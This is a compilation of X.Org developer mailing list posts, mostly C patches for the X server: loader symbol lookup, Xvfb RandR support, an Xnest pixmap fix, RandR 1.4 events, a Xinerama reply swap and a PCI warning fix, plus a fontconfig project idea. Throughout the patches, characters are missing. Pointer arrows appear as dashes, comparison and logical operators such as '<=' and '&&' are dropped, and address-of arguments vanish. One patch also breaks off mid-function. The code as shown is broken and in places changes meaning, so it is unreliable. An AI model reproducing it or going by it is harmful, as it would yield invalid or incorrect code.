The patch remains valid, the explanation in the comment has to be corrected. 
Sorry for making claims without proper investigation.

Michal Srb

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: http://lists.x.org/mailman/listinfo/xorg-devel

[PATCH v2] Look for ModuleData only in appropriate library

[Michal Srb]

LoaderSymbol calls dlsym with RTLD_DEFAULT pseudo handle making it search in
every loaded library. In addition glibc adds NODELETE flag to the library
containing the symbol.

It's used in doLoadModule to locate modulenameModuleData symbol, the
module's library gets the flag and is kept in memory even after it is
unloaded.

This patch adds LoaderSymbolFromModule function that looks for symbol only in
library specified by handle. That way the NODELETE flag isn't added.

This glibc behavior doesn't seem to be documented, but even if other
implementations differ, there is no reason to search ModuleData symbol outside
the module's library.

Signed-off-by: Michal Srb m...@suse.com
Reviewed-by: Daniel Stone dan...@fooishbar.org

v2: Switch LoaderSymbolFromModule arguments order.
Correct description.

diff --git a/hw/xfree86/loader/loader.c b/hw/xfree86/loader/loader.c
index b72b8b8..4836964 100644
--- a/hw/xfree86/loader/loader.c
+++ b/hw/xfree86/loader/loader.c
@@ -160,6 +160,12 @@ LoaderSymbol(const char *name)
 return NULL;
 }
 
+void *
+LoaderSymbolFromModule(void *handle, const char *name)
+{
+return dlsym(handle, name);
+}
+
 void
 LoaderUnload(const char *name, void *handle)
 {
diff --git a/hw/xfree86/loader/loader.h b/hw/xfree86/loader/loader.h
index 5cadd5a..c89c641 100644
--- a/hw/xfree86/loader/loader.h
+++ b/hw/xfree86/loader/loader.h
@@ -72,5 +72,6 @@ extern unsigned long LoaderOptions;
 
 /* Internal Functions */
 void *LoaderOpen(const char *, int *, int *);
+void *LoaderSymbolFromModule(void *, const char *);
 
 #endif  /* _LOADER_H */
diff --git a/hw/xfree86/loader/loadmod.c b/hw/xfree86/loader/loadmod.c
index 706b9b3..1e6dc00 100644
--- a/hw/xfree86/loader/loadmod.c
+++ b/hw/xfree86/loader/loadmod.c
@@ -956,7 +956,7 @@ doLoadModule(const char *module, const char *path, const 
char **subdirlist,
 *errmin = 0;
 goto LoadModule_fail;
 }
-initdata = LoaderSymbol(p);
+initdata = LoaderSymbolFromModule(ret-handle, p);
 if (initdata) {
 ModuleSetupProc setup;
 ModuleTearDownProc teardown;

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: http://lists.x.org/mailman/listinfo/xorg-devel

Re: Google Summer of Code ideas needed

[Michal Srb]

Hi,

I am not sure if it fits under programs related to X: fontconfig

- problem:
The way data are stored and/or searched is currently very inefficient. With 
many fonts and fontconfig rules installed in system, the libfontconfig slows 
down start of every graphical program.

A quick test on my current system:
I've got about 4500 files in /usr/share/fonts and standard set of opensuse 
font config rules. Starting and immediately quitting KDE's Konsole in valgrind 
resulted in 42% of time spent in libfontconfig! FcFontMatch was called 11 
times only.

This happens for every program started. Just imagine how much time is spent 
there during start of big desktop environments...

- project description:
Rewriting/optimizing the way fontconfig stores and searches the font cache.

- difficulty: easy/medium
Imho any non-trivial algorithm will be better than current state.
It's userspace library, should be easy to test. But there doesn't seem to be 
any proper set of tests covering the current functionality now, so it may be 
necessary to create them first.

- skills:
C, some knowledge about fonts, fontconfig rules

Michal Srb

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: http://lists.x.org/mailman/listinfo/xorg-devel

Re: [PATCH] xvfb: add randr support

[Michal Srb]

;
 +}
 +
 +static Bool
  vfbScreenInit(ScreenPtr pScreen, int argc, char **argv)
  {
  vfbScreenInfoPtr pvfb = vfbScreens[pScreen-myNum];
 @@ -860,6 +1002,9 @@ vfbScreenInit(ScreenPtr pScreen, int argc, char **argv)
 if (!ret)
  return FALSE;
 
 +if (!vfbRandRInit(pScreen))
 +return FALSE;
 +
  pScreen-InstallColormap = vfbInstallColormap;
  pScreen-UninstallColormap = vfbUninstallColormap;
  pScreen-ListInstalledColormaps = vfbListInstalledColormaps;

Any comments to this one?

Tested-By: Michal Srb m...@suse.cz

Michal Srb
___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: http://lists.x.org/mailman/listinfo/xorg-devel

Re: [PATCH] xvfb: add randr support (v2)

[Michal Srb]

From: Lambros Lambrou lambroslamb...@google.com

Fixes: https://bugs.freedesktop.org/show_bug.cgi?id=26391
Signed-off-by: Lambros Lambrou lambroslamb...@google.com
Signed-off-by: Mike Frysinger vap...@gentoo.org
Signed-off-by: Michal Srb m...@suse.com
---
Second version, modified according to Keith suggestion.
Tested by adding second mode and switching - worked correctly.

diff --git a/hw/vfb/InitOutput.c b/hw/vfb/InitOutput.c
index 97eccfd..bfca068 100644
--- a/hw/vfb/InitOutput.c
+++ b/hw/vfb/InitOutput.c
@@ -66,6 +66,7 @@ from The Open Group.
 #include dix.h
 #include miline.h
 #include glx_extinit.h
+#include randrstr.h
 
 #define VFB_DEFAULT_WIDTH  1280
 #define VFB_DEFAULT_HEIGHT 1024
@@ -785,6 +786,125 @@ vfbCloseScreen(ScreenPtr pScreen)
 }
 
 static Bool
+vfbRROutputValidateMode(ScreenPtr   pScreen,
+RROutputPtr output,
+RRModePtr   mode)
+{
+rrScrPriv(pScreen);
+
+if (pScrPriv-minWidth = mode-mode.width 
+pScrPriv-maxWidth = mode-mode.width 
+pScrPriv-minHeight = mode-mode.height 
+pScrPriv-maxHeight = mode-mode.height)
+return TRUE;
+else
+return FALSE;
+}
+
+static Bool
+vfbRRScreenSetSize(ScreenPtr  pScreen,
+   CARD16 width,
+   CARD16 height,
+   CARD32 mmWidth,
+   CARD32 mmHeight)
+{
+// Prevent screen updates while we change things around
+SetRootClip(pScreen, FALSE);
+
+pScreen-width = width;
+pScreen-height = height;
+pScreen-mmWidth = mmWidth;
+pScreen-mmHeight = mmHeight;
+
+// Restore the ability to update screen, now with new dimensions
+SetRootClip(pScreen, TRUE);
+
+RRScreenSizeNotify (pScreen);
+RRTellChanged(pScreen);
+
+return TRUE;
+}
+
+static Bool
+vfbRRCrtcSet(ScreenPtr pScreen,
+ RRCrtcPtr crtc,
+ RRModePtr mode,
+ int   x,
+ int   y,
+ Rotation  rotation,
+ int   numOutput,
+ RROutputPtr *outputs)
+{
+  return RRCrtcNotify(crtc, mode, x, y, rotation, NULL, numOutput, outputs);
+}
+
+static Bool
+vfbRRGetInfo(ScreenPtr pScreen, Rotation *rotations)
+{
+return TRUE;
+}
+
+static Bool
+vfbRandRInit(ScreenPtr pScreen)
+{
+rrScrPrivPtr pScrPriv;
+#if RANDR_12_INTERFACE
+RRModePtr  mode;
+RRCrtcPtr  crtc;
+RROutputPtroutput;
+xRRModeInfo modeInfo;
+char   name[64];
+#endif
+
+if (!RRScreenInit (pScreen))
+   return FALSE;
+pScrPriv = rrGetScrPriv(pScreen);
+pScrPriv-rrGetInfo = vfbRRGetInfo;
+#if RANDR_12_INTERFACE
+pScrPriv-rrCrtcSet = vfbRRCrtcSet;
+pScrPriv-rrScreenSetSize = vfbRRScreenSetSize;
+pScrPriv-rrOutputSetProperty = NULL;
+#if RANDR_13_INTERFACE
+pScrPriv-rrOutputGetProperty = NULL;
+#endif
+pScrPriv-rrOutputValidateMode = vfbRROutputValidateMode;
+pScrPriv-rrModeDestroy = NULL;
+
+RRScreenSetSizeRange (pScreen,
+ 1, 1,
+ pScreen-width, pScreen-height);
+
+sprintf (name, %dx%d, pScreen-width, pScreen-height);
+memset (modeInfo, '\0', sizeof (modeInfo));
+modeInfo.width = pScreen-width;
+modeInfo.height = pScreen-height;
+modeInfo.nameLength = strlen (name);
+
+mode = RRModeGet (modeInfo, name);
+if (!mode)
+   return FALSE;
+
+crtc = RRCrtcCreate (pScreen, NULL);
+if (!crtc)
+   return FALSE;
+
+output = RROutputCreate (pScreen, screen, 6, NULL);
+if (!output)
+   return FALSE;
+if (!RROutputSetClones (output, NULL, 0))
+   return FALSE;
+if (!RROutputSetModes (output, mode, 1, 0))
+   return FALSE;
+if (!RROutputSetCrtcs (output, crtc, 1))
+   return FALSE;
+if (!RROutputSetConnection (output, RR_Connected))
+   return FALSE;
+RRCrtcNotify (crtc, mode, 0, 0, RR_Rotate_0, NULL, 1, output);
+#endif
+return TRUE;
+}
+
+static Bool
 vfbScreenInit(ScreenPtr pScreen, int argc, char **argv)
 {
 vfbScreenInfoPtr pvfb = vfbScreens[pScreen-myNum];
@@ -860,6 +980,9 @@ vfbScreenInit(ScreenPtr pScreen, int argc, char **argv)
 if (!ret)
 return FALSE;
 
+if (!vfbRandRInit(pScreen))
+   return FALSE;
+
 pScreen-InstallColormap = vfbInstallColormap;
 pScreen-UninstallColormap = vfbUninstallColormap;
 pScreen-ListInstalledColormaps = vfbListInstalledColormaps;

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: http://lists.x.org/mailman/listinfo/xorg-devel

[PATCH] Xnest: Implement xnestModifyPixmapHeader

[Michal Srb]

Xnest variant of ModifyPixmapHeader that creates new Pixmap in parent X
server if it's size is modified from 0x0 to anything bigger.

xnestCreatePixmap doesn't create pixmap in parent X server if it has
dimensions 0x0. If it is later resized and accessed, Xnest will be
aborted with BadDrawable error from parent X server because it will
use XID 0. This happens with ScratchPixmap, for example as used from
XaceCensorImage. Applications using XACE crash Xnest.

diff --git a/hw/xnest/Pixmap.c b/hw/xnest/Pixmap.c
index 13e1610..2902acd 100644
--- a/hw/xnest/Pixmap.c
+++ b/hw/xnest/Pixmap.c
@@ -78,6 +78,21 @@ xnestDestroyPixmap(PixmapPtr pPixmap)
 return TRUE;
 }
 
+Bool
+xnestModifyPixmapHeader(PixmapPtr pPixmap, int width, int height, int depth,
+int bitsPerPixel, int devKind, pointer pPixData)
+{
+  if(!xnestPixmapPriv(pPixmap)-pixmap  width  0  height  0) {
+xnestPixmapPriv(pPixmap)-pixmap =
+XCreatePixmap(xnestDisplay,
+  xnestDefaultWindows[pPixmap-drawable.pScreen-myNum],
+  width, height, depth);
+  }
+
+  return miModifyPixmapHeader(pPixmap, width, height, depth,
+  bitsPerPixel, devKind, pPixData);
+}
+
 RegionPtr
 xnestPixmapToRegion(PixmapPtr pPixmap)
 {
diff --git a/hw/xnest/Screen.c b/hw/xnest/Screen.c
index 58b5a11..abb4d37 100644
--- a/hw/xnest/Screen.c
+++ b/hw/xnest/Screen.c
@@ -282,6 +282,7 @@ xnestOpenScreen(ScreenPtr pScreen, int argc, char *argv[])
 
 pScreen-CreatePixmap = xnestCreatePixmap;
 pScreen-DestroyPixmap = xnestDestroyPixmap;
+pScreen-ModifyPixmapHeader = xnestModifyPixmapHeader;
 
 /* Font procedures */
 
diff --git a/hw/xnest/XNPixmap.h b/hw/xnest/XNPixmap.h
index 268ba1e..5b2e796 100644
--- a/hw/xnest/XNPixmap.h
+++ b/hw/xnest/XNPixmap.h
@@ -33,6 +33,8 @@ typedef struct {
 PixmapPtr xnestCreatePixmap(ScreenPtr pScreen, int width, int height,
 int depth, unsigned usage_hint);
 Bool xnestDestroyPixmap(PixmapPtr pPixmap);
+Bool xnestModifyPixmapHeader(PixmapPtr pPixmap, int width, int height, int 
depth,
+ int bitsPerPixel, int devKind, pointer 
pPixData);
 RegionPtr xnestPixmapToRegion(PixmapPtr pPixmap);
 
 #endif  /* XNESTPIXMAP_H */

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: http://lists.x.org/mailman/listinfo/xorg-devel

[PATCH 0/3] Implement randr 1.4 events.

[Michal Srb]

In order to get support for providers in GUI tools, xserver has to send the new
randr 1.4 events and some older events (RROutputChangeNotify and
RRCrtcChangeNotify) have to be send when they happen on output provider screen.

These patches implement RRProviderChangeNotify and RRResourceChangeNotify 
events.
RRProviderPropertyNotify seems to be already implemented, however I am not aware
of anything using them to test it.
RROutputChangeNotify and RRCrtcChangeNotify and sent when output or crtc get
changed in output provider screen.

Michal Srb (3):
  randr: send RRProviderChangeNotify event
  randr: send RRResourceChangeNotify event
  randr: deliver Output and Crtc events of attached output providers.

 hw/xfree86/common/xf86platformBus.c |  5 ++
 randr/randr.c   | 96 +
 randr/randrstr.h|  8 
 randr/rrcrtc.c  |  4 ++
 randr/rroutput.c|  5 ++
 randr/rrprovider.c  | 25 ++
 6 files changed, 143 insertions(+)
 mode change 100644 = 100755 hw/xfree86/common/xf86platformBus.c
 mode change 100644 = 100755 randr/randr.c
 mode change 100644 = 100755 randr/randrstr.h
 mode change 100644 = 100755 randr/rrcrtc.c
 mode change 100644 = 100755 randr/rroutput.c
 mode change 100644 = 100755 randr/rrprovider.c

-- 
1.8.4

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: http://lists.x.org/mailman/listinfo/xorg-devel

[PATCH 1/3] randr: send RRProviderChangeNotify event

[Michal Srb]

Send RRProviderChangeNotify event when a provider becomes output source or
offload sink.
---
 randr/randr.c  | 36 
 randr/randrstr.h   |  4 
 randr/rrprovider.c | 25 +
 3 files changed, 65 insertions(+)
 mode change 100644 = 100755 randr/randr.c
 mode change 100644 = 100755 randr/randrstr.h
 mode change 100644 = 100755 randr/rrprovider.c

diff --git a/randr/randr.c b/randr/randr.c
old mode 100644
new mode 100755
index cb6fce7..fa0a4da
--- a/randr/randr.c
+++ b/randr/randr.c
@@ -426,6 +426,8 @@ TellChanged(WindowPtr pWin, pointer value)
 RREventPtr *pHead, pRREvent;
 ClientPtr client;
 ScreenPtr pScreen = pWin-drawable.pScreen;
+ScreenPtr iter;
+rrScrPrivPtr pSlaveScrPriv;
 
 rrScrPriv(pScreen);
 int i;
@@ -460,6 +462,24 @@ TellChanged(WindowPtr pWin, pointer value)
 RRDeliverOutputEvent(client, pWin, output);
 }
 }
+
+if (pRREvent-mask  RRProviderChangeNotifyMask) {
+xorg_list_for_each_entry(iter, pScreen-output_slave_list, 
output_head) {
+pSlaveScrPriv = rrGetScrPriv(iter);
+if (pSlaveScrPriv-provider-changed)
+RRDeliverProviderEvent(client, pWin, 
pSlaveScrPriv-provider);
+}
+xorg_list_for_each_entry(iter, pScreen-offload_slave_list, 
offload_head) {
+pSlaveScrPriv = rrGetScrPriv(iter);
+if (pSlaveScrPriv-provider-changed)
+RRDeliverProviderEvent(client, pWin, 
pSlaveScrPriv-provider);
+}
+xorg_list_for_each_entry(iter, pScreen-unattached_list, 
unattached_head) {
+pSlaveScrPriv = rrGetScrPriv(iter);
+if (pSlaveScrPriv-provider-changed)
+RRDeliverProviderEvent(client, pWin, 
pSlaveScrPriv-provider);
+}
+}
 }
 return WT_WALKCHILDREN;
 }
@@ -496,6 +516,8 @@ RRTellChanged(ScreenPtr pScreen)
 rrScrPriv(pScreen);
 rrScrPrivPtr mastersp;
 int i;
+ScreenPtr iter;
+rrScrPrivPtr pSlaveScrPriv;
 
 if (pScreen-isGPU) {
 master = pScreen-current_master;
@@ -519,6 +541,20 @@ RRTellChanged(ScreenPtr pScreen)
 pScrPriv-outputs[i]-changed = FALSE;
 for (i = 0; i  pScrPriv-numCrtcs; i++)
 pScrPriv-crtcs[i]-changed = FALSE;
+
+xorg_list_for_each_entry(iter, master-output_slave_list, 
output_head) {
+pSlaveScrPriv = rrGetScrPriv(iter);
+pSlaveScrPriv-provider-changed = FALSE;
+}
+xorg_list_for_each_entry(iter, master-offload_slave_list, 
offload_head) {
+pSlaveScrPriv = rrGetScrPriv(iter);
+pSlaveScrPriv-provider-changed = FALSE;
+}
+xorg_list_for_each_entry(iter, master-unattached_list, 
unattached_head) {
+pSlaveScrPriv = rrGetScrPriv(iter);
+pSlaveScrPriv-provider-changed = FALSE;
+}
+
 if (mastersp-layoutChanged) {
 pScrPriv-layoutChanged = FALSE;
 RRPointerScreenConfigured(master);
diff --git a/randr/randrstr.h b/randr/randrstr.h
old mode 100644
new mode 100755
index 2babfed..c933349
--- a/randr/randrstr.h
+++ b/randr/randrstr.h
@@ -164,6 +164,7 @@ struct _rrProvider {
 int nameLength;
 RRPropertyPtr properties;
 Bool pendingProperties;
+Bool changed;
 struct _rrProvider *offload_sink;
 struct _rrProvider *output_source;
 };
@@ -923,6 +924,9 @@ RRProviderSetCapabilities(RRProviderPtr provider, uint32_t 
capabilities);
 extern _X_EXPORT Bool
 RRProviderLookup(XID id, RRProviderPtr *provider_p);
 
+extern _X_EXPORT void
+RRDeliverProviderEvent(ClientPtr client, WindowPtr pWin, RRProviderPtr 
provider);
+
 /* rrproviderproperty.c */
 
 extern _X_EXPORT void
diff --git a/randr/rrprovider.c b/randr/rrprovider.c
old mode 100644
new mode 100755
index b321e62..2334ad2
--- a/randr/rrprovider.c
+++ b/randr/rrprovider.c
@@ -304,6 +304,9 @@ ProcRRSetProviderOutputSource(ClientPtr client)
 
 pScrPriv-rrProviderSetOutputSource(pScreen, provider, source_provider);
 
+provider-changed = TRUE;
+RRSetChanged(pScreen);
+
 RRTellChanged (pScreen);
 
 return Success;
@@ -333,6 +336,9 @@ ProcRRSetProviderOffloadSink(ClientPtr client)
 
 pScrPriv-rrProviderSetOffloadSink(pScreen, provider, sink_provider);
 
+provider-changed = TRUE;
+RRSetChanged(pScreen);
+
 RRTellChanged (pScreen);
 
 return Success;
@@ -357,6 +363,7 @@ RRProviderCreate(ScreenPtr pScreen, const char *name,
 provider-nameLength = nameLength;
 memcpy(provider-name, name, nameLength);
 provider-name[nameLength] = '\0';
+provider-changed = FALSE;
 
 if (!AddResource (provider-id, RRProviderType, (pointer) provider))
 return NULL;
@@ -416,3 +423,21 @@ RRProviderLookup(XID id, RRProviderPtr *provider_p)
 return TRUE;
 return FALSE;
 }
+
+void
+RRDeliverProviderEvent(ClientPtr 

[PATCH 2/3] randr: send RRResourceChangeNotify event

[Michal Srb]

Send RRResourceChangeNotify event when provider, output or crtc was created or
destroyed. I.e. when the list of resources returned by RRGetScreenResources and
RRGetProviders changes.
---
 hw/xfree86/common/xf86platformBus.c |  5 +
 randr/randr.c   | 36 
 randr/randrstr.h|  4 
 randr/rrcrtc.c  |  4 
 randr/rroutput.c|  5 +
 5 files changed, 54 insertions(+)
 mode change 100644 = 100755 hw/xfree86/common/xf86platformBus.c
 mode change 100644 = 100755 randr/rrcrtc.c
 mode change 100644 = 100755 randr/rroutput.c

diff --git a/hw/xfree86/common/xf86platformBus.c 
b/hw/xfree86/common/xf86platformBus.c
old mode 100644
new mode 100755
index e368dee..33b2b7d
--- a/hw/xfree86/common/xf86platformBus.c
+++ b/hw/xfree86/common/xf86platformBus.c
@@ -466,6 +466,9 @@ xf86platformAddDevice(int index)
/* attach unbound to 0 protocol screen */
AttachUnboundGPU(xf86Screens[0]-pScreen, xf86GPUScreens[i]-pScreen);
 
+   RRResourcesChanged(xf86Screens[0]-pScreen);
+   RRTellChanged(xf86Screens[0]-pScreen);
+
return 0;
 }
 
@@ -508,6 +511,8 @@ xf86platformRemoveDevice(int index)
 xf86UnclaimPlatformSlot(xf86_platform_devices[index], NULL);
 
 xf86_remove_platform_device(index);
+
+RRResourcesChanged(xf86Screens[0]-pScreen);
 RRTellChanged(xf86Screens[0]-pScreen);
  out:
 return;
diff --git a/randr/randr.c b/randr/randr.c
index fa0a4da..9cec6f6 100755
--- a/randr/randr.c
+++ b/randr/randr.c
@@ -420,6 +420,32 @@ RRExtensionInit(void)
 #endif
 }
 
+void
+RRResourcesChanged(ScreenPtr pScreen)
+{
+rrScrPriv(pScreen);
+pScrPriv-resourcesChanged = TRUE;
+
+RRSetChanged(pScreen);
+}
+
+static void
+RRDeliverResourceEvent(ClientPtr client, WindowPtr pWin)
+{
+ScreenPtr pScreen = pWin-drawable.pScreen;
+
+rrScrPriv(pScreen);
+
+xRRResourceChangeNotifyEvent re = {
+.type = RRNotify + RREventBase,
+.subCode = RRNotify_ResourceChange,
+.timestamp = pScrPriv-lastSetTime.milliseconds,
+.window = pWin-drawable.id
+};
+
+WriteEventsToClient(client, 1, (xEvent *) re);
+}
+
 static int
 TellChanged(WindowPtr pWin, pointer value)
 {
@@ -480,6 +506,12 @@ TellChanged(WindowPtr pWin, pointer value)
 RRDeliverProviderEvent(client, pWin, 
pSlaveScrPriv-provider);
 }
 }
+
+if (pRREvent-mask  RRResourceChangeNotifyMask) {
+if (pScrPriv-resourcesChanged) {
+RRDeliverResourceEvent(client, pWin);
+}
+}
 }
 return WT_WALKCHILDREN;
 }
@@ -536,7 +568,11 @@ RRTellChanged(ScreenPtr pScreen)
 }
 pScrPriv-changed = FALSE;
 mastersp-changed = FALSE;
+
 WalkTree(master, TellChanged, (pointer) master);
+
+mastersp-resourcesChanged = FALSE;
+
 for (i = 0; i  pScrPriv-numOutputs; i++)
 pScrPriv-outputs[i]-changed = FALSE;
 for (i = 0; i  pScrPriv-numCrtcs; i++)
diff --git a/randr/randrstr.h b/randr/randrstr.h
index c933349..15299fd 100755
--- a/randr/randrstr.h
+++ b/randr/randrstr.h
@@ -301,6 +301,7 @@ typedef struct _rrScrPriv {
 Bool changed;   /* some config changed */
 Bool configChanged; /* configuration changed */
 Bool layoutChanged; /* screen layout changed */
+Bool resourcesChanged;  /* screen resources change */
 
 CARD16 minWidth, minHeight;
 CARD16 maxWidth, maxHeight;
@@ -486,6 +487,9 @@ extern _X_EXPORT int
 extern _X_EXPORT void
  RRDeliverScreenEvent(ClientPtr client, WindowPtr pWin, ScreenPtr pScreen);
 
+extern _X_EXPORT void
+ RRResourcesChanged(ScreenPtr pScreen);
+
 /* randr.c */
 /* set a screen change on the primary screen */
 extern _X_EXPORT void
diff --git a/randr/rrcrtc.c b/randr/rrcrtc.c
old mode 100644
new mode 100755
index 2f76b62..99b3dca
--- a/randr/rrcrtc.c
+++ b/randr/rrcrtc.c
@@ -102,6 +102,8 @@ RRCrtcCreate(ScreenPtr pScreen, void *devPrivate)
 crtc-pScreen = pScreen;
 pScrPriv-crtcs[pScrPriv-numCrtcs++] = crtc;
 
+RRResourcesChanged(pScreen);
+
 return crtc;
 }
 
@@ -669,6 +671,8 @@ RRCrtcDestroyResource(pointer value, XID pid)
 break;
 }
 }
+
+RRResourcesChanged(pScreen);
 }
 
 if (crtc-scanout_pixmap)
diff --git a/randr/rroutput.c b/randr/rroutput.c
old mode 100644
new mode 100755
index 922d61f..2b0b82f
--- a/randr/rroutput.c
+++ b/randr/rroutput.c
@@ -101,6 +101,9 @@ RROutputCreate(ScreenPtr pScreen,
 return NULL;
 
 pScrPriv-outputs[pScrPriv-numOutputs++] = output;
+
+RRResourcesChanged(pScreen);
+
 return output;
 }
 
@@ -355,6 +358,8 @@ RROutputDestroyResource(pointer value, XID pid)
 break;
 }
 }
+
+RRResourcesChanged(pScreen);
 }
 if (output-modes) {
 for (m = 0; m  output-numModes; m++)
-- 
1.8.4

[PATCH 3/3] randr: deliver Output and Crtc events of attached output providers.

[Michal Srb]

Consider all attached output providers when looking for changed outputs and
crtcs.
---
 randr/randr.c | 24 
 1 file changed, 24 insertions(+)

diff --git a/randr/randr.c b/randr/randr.c
index 9cec6f6..3c51427 100755
--- a/randr/randr.c
+++ b/randr/randr.c
@@ -478,6 +478,16 @@ TellChanged(WindowPtr pWin, pointer value)
 if (crtc-changed)
 RRDeliverCrtcEvent(client, pWin, crtc);
 }
+
+xorg_list_for_each_entry(iter, pScreen-output_slave_list, 
output_head) {
+pSlaveScrPriv = rrGetScrPriv(iter);
+for (i = 0; i  pSlaveScrPriv-numCrtcs; i++) {
+RRCrtcPtr crtc = pSlaveScrPriv-crtcs[i];
+
+if (crtc-changed)
+RRDeliverCrtcEvent(client, pWin, crtc);
+}
+}
 }
 
 if (pRREvent-mask  RROutputChangeNotifyMask) {
@@ -487,6 +497,16 @@ TellChanged(WindowPtr pWin, pointer value)
 if (output-changed)
 RRDeliverOutputEvent(client, pWin, output);
 }
+
+xorg_list_for_each_entry(iter, pScreen-output_slave_list, 
output_head) {
+pSlaveScrPriv = rrGetScrPriv(iter);
+for (i = 0; i  pSlaveScrPriv-numOutputs; i++) {
+RROutputPtr output = pSlaveScrPriv-outputs[i];
+
+if (output-changed)
+RRDeliverOutputEvent(client, pWin, output);
+}
+}
 }
 
 if (pRREvent-mask  RRProviderChangeNotifyMask) {
@@ -581,6 +601,10 @@ RRTellChanged(ScreenPtr pScreen)
 xorg_list_for_each_entry(iter, master-output_slave_list, 
output_head) {
 pSlaveScrPriv = rrGetScrPriv(iter);
 pSlaveScrPriv-provider-changed = FALSE;
+for (i = 0; i  pSlaveScrPriv-numOutputs; i++)
+pSlaveScrPriv-outputs[i]-changed = FALSE;
+for (i = 0; i  pSlaveScrPriv-numCrtcs; i++)
+pSlaveScrPriv-crtcs[i]-changed = FALSE;
 }
 xorg_list_for_each_entry(iter, master-offload_slave_list, 
offload_head) {
 pSlaveScrPriv = rrGetScrPriv(iter);
-- 
1.8.4

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: http://lists.x.org/mailman/listinfo/xorg-devel

[PATCH] randr: Allow RRSelectInput for ProviderChange and ResourceChange events.

[Michal Srb]

---
 randr/rrdispatch.c | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/randr/rrdispatch.c b/randr/rrdispatch.c
index 7fbc9f0..f050d38 100644
--- a/randr/rrdispatch.c
+++ b/randr/rrdispatch.c
@@ -92,7 +92,9 @@ ProcRRSelectInput(ClientPtr client)
  RRCrtcChangeNotifyMask |
  RROutputChangeNotifyMask |
  RROutputPropertyNotifyMask |
- RRProviderPropertyNotifyMask)) {
+ RRProviderChangeNotifyMask |
+ RRProviderPropertyNotifyMask |
+ RRResourceChangeNotifyMask)) {
 ScreenPtr pScreen = pWin-drawable.pScreen;
 
 rrScrPriv(pScreen);
-- 
1.8.4

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: http://lists.x.org/mailman/listinfo/xorg-devel

Re: [PATCH 0/3] Implement randr 1.4 events.

[Michal Srb]

On Tuesday 08 of October 2013 15:11:04 Guillem Jover wrote:
 Hi!
 
 On Mon, 2013-10-07 at 13:26:30 +0300, Michal Srb wrote:
 […]
 
   6 files changed, 143 insertions(+)
   mode change 100644 = 100755 hw/xfree86/common/xf86platformBus.c
   mode change 100644 = 100755 randr/randr.c
   mode change 100644 = 100755 randr/randrstr.h
   mode change 100644 = 100755 randr/rrcrtc.c
   mode change 100644 = 100755 randr/rroutput.c
   mode change 100644 = 100755 randr/rrprovider.c
 
 All files seem to have accidentally gained exec bits.
 
 Thanks,
 Guillem
 ___
 xorg-devel@lists.x.org: X.Org development
 Archives: http://lists.x.org/archives/xorg-devel
 Info: http://lists.x.org/mailman/listinfo/xorg-devel

Oops, sorry.

Should I resend the patches with this fixed?

Michal
___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: http://lists.x.org/mailman/listinfo/xorg-devel

Could we add _X_EXPORT to GetMaster?

[Michal Srb]

Hi,

Is there any particular reason why GetMaster (include/input.h) doesn't have 
_X_EXPORT?

I ran into problem with tigervnc's VNC module that would like to call it, but 
can't because it is hidden. That's currently the only thing that prevents 
tigervnc from working as module.

GetMaster looks like a helper function and IMHO it wouldn't hurt to expose it 
to modules. It only calls IsMaster and GetPairedDevice which are already 
exposed.

Michal
___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: http://lists.x.org/mailman/listinfo/xorg-devel

[PATCH xserver] xinerama: Swap the response in RRXineramaWriteMonitor.

[Michal Srb]

diff --git a/randr/rrxinerama.c b/randr/rrxinerama.c
index b6e9586..8f499df 100644
--- a/randr/rrxinerama.c
+++ b/randr/rrxinerama.c
@@ -260,6 +260,13 @@ RRXineramaWriteMonitor(ClientPtr client, RRMonitorPtr 
monitor)
 scratch.width = monitor->geometry.box.x2 - monitor->geometry.box.x1;
 scratch.height = monitor->geometry.box.y2 - monitor->geometry.box.y1;
 
+if (client->swapped) {
+swaps(_org);
+swaps(_org);
+swaps();
+swaps();
+}
+
 WriteToClient(client, sz_XineramaScreenInfo, );
 }
 

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel

[PATCH v2 xserver 1/3] xfree86: Silence always true condition warning.

[Michal Srb]

xf86pciBus.c:1464:21: warning: comparison of constant 256 with expression of 
type 'uint8_t' (aka 'unsigned char') is always true 
[-Wtautological-constant-out-of-range-compare]
if (pVideo->bus < 256)

The code used to be in xf86FormatPciBusNumber and compared parameter which was 
int, but since b967bf2a it was inlined now it works with uint8_t.

v2: Merge the snprintf into the following XNFasprintf.
---
 hw/xfree86/common/xf86pciBus.c | 11 ++-
 1 file changed, 2 insertions(+), 9 deletions(-)

diff --git a/hw/xfree86/common/xf86pciBus.c b/hw/xfree86/common/xf86pciBus.c
index 9adfee5..d589ece 100644
--- a/hw/xfree86/common/xf86pciBus.c
+++ b/hw/xfree86/common/xf86pciBus.c
@@ -1456,19 +1456,12 @@ void
 xf86PciConfigureNewDev(void *busData, struct pci_device *pVideo,
GDevRec * GDev, int *chipset)
 {
-char busnum[8];
 char *tmp;
 
 pVideo = (struct pci_device *) busData;
 
-if (pVideo->bus < 256)
-snprintf(busnum, sizeof(busnum), "%d", pVideo->bus);
-else
-snprintf(busnum, sizeof(busnum), "%d@%d",
- pVideo->bus & 0x00ff, pVideo->bus >> 8);
-
-XNFasprintf(, "PCI:%s:%d:%d",
-busnum, pVideo->dev, pVideo->func);
+XNFasprintf(, "PCI:%d:%d:%d",
+pVideo->bus, pVideo->dev, pVideo->func);
 GDev->busID = tmp;
 
 GDev->chipID = pVideo->device_id;
-- 
2.10.2

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
